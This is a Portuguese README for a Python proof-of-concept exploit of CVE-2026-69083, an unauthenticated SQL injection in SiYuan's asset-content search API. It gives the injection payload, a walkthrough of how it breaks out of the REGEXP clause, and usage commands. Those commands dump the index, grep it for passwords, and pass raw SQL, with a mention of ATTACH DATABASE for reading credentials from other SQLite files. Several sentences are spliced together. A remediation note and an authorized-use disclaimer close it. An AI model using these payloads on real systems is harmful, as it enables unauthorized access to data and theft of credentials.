
PoC em Python para o CVE-2026-69083, uma injeção SQL não autenticada no endpoint de busca de conteúdo de ativos do SiYuan. Suporta fuga via REGEXP e passagem direta de SQL bruto para despejar ativos indexados e dados SQLite anexados.
Injeção SQL não autenticada no SiYuan (um aplicativo de base de conhecimento em Go) por meio do endpoint de pesquisa de conteúdo de ativos.
POST /api/search/fullTextSearchAssetContent constrói uma instrução SQL bruta concatenando o valor de query controlado pelo usuário diretamente em uma cláusula REGEXP, sem escape (kernel/model/asset_content.go, assetContentFieldRegexp):
SELECT * FROM `asset_contents_fts_case_insensitive`
WHERE (name REGEXP '<query>' OR content REGEXP '<query>') AND ext IN <types>
Uma aspa simples em query escapa do literal de string (CWE-89). Quando o SiYuan é implantado sem um código de autenticação de acesso (Conf.AccessAuthCode == ""), todo o kernel trata os chamadores como administrador, sem credenciais, portanto a injeção é totalmente não autenticada. method:3 é a quebra do REGEXP; method:2 adicionalmente passa query como uma instrução SQL bruta.
< 3.7.36806 (não autenticado quando nenhum accessAuthCode está definido)ATTACH DATABASE para outros arquivos SQLite) — por exemplo, despejar credenciais que operadores indexaram em notasApenas a biblioteca padrão do Python 3 — sem dependências.
# dump the asset-content index (method 3 REGEXP break-out)
python3 exploit.py http://10.10.10.10:6806/
# only rows matching a keyword
python3 exploit.py http://10.10.10.10:6806/ --grep password
# method 2 raw SQL passthrough (select the 7 columns id,name,ext,path,size,updated,content)
python3 exploit.py http://10.10.10.10:6806/ \
--sql "SELECT id,name,ext,path,size,updated,content FROM asset_contents_fts_case_insensitive"
O payload padrão é:
query = "zzqx') OR 1=1 -- "
zzqx') fecha o grupo (name REGEXP '...',OR 1=1 faz com que a cláusula WHERE seja sempre verdadeira,-- comenta o restante da linha, incluindo o AND ext IN <types> final — que, caso contrário,
é um erro de sintaxe quando types está vazio (o SiYuan emite AND ext IN com nada
depois, e o kernel silenciosamente retorna nenhuma linha em um erro de SQL).O endpoint então retorna todas as linhas do índice de conteúdo de ativos, e a ferramenta imprime o content de cada linha.
curl -s http://10.10.10.10:6806/system_stats # or browse http://10.10.10.10:6806/ (no login prompt)
Uma instância do SiYuan na porta 6806 que carrega sem um código de autenticação de acesso é explorável.
... REGEXP ?) e protege o caminho raw-SQL
do method-2 com uma verificação de administrador.--accessAuthCode; nunca o exponha sem autenticação — sem um
código de autenticação de acesso, toda a API do kernel fica aberta como administrador.Apenas para testes de segurança autorizados e educação. Use-o somente contra sistemas que você possui ou para os quais tem permissão explícita para testar.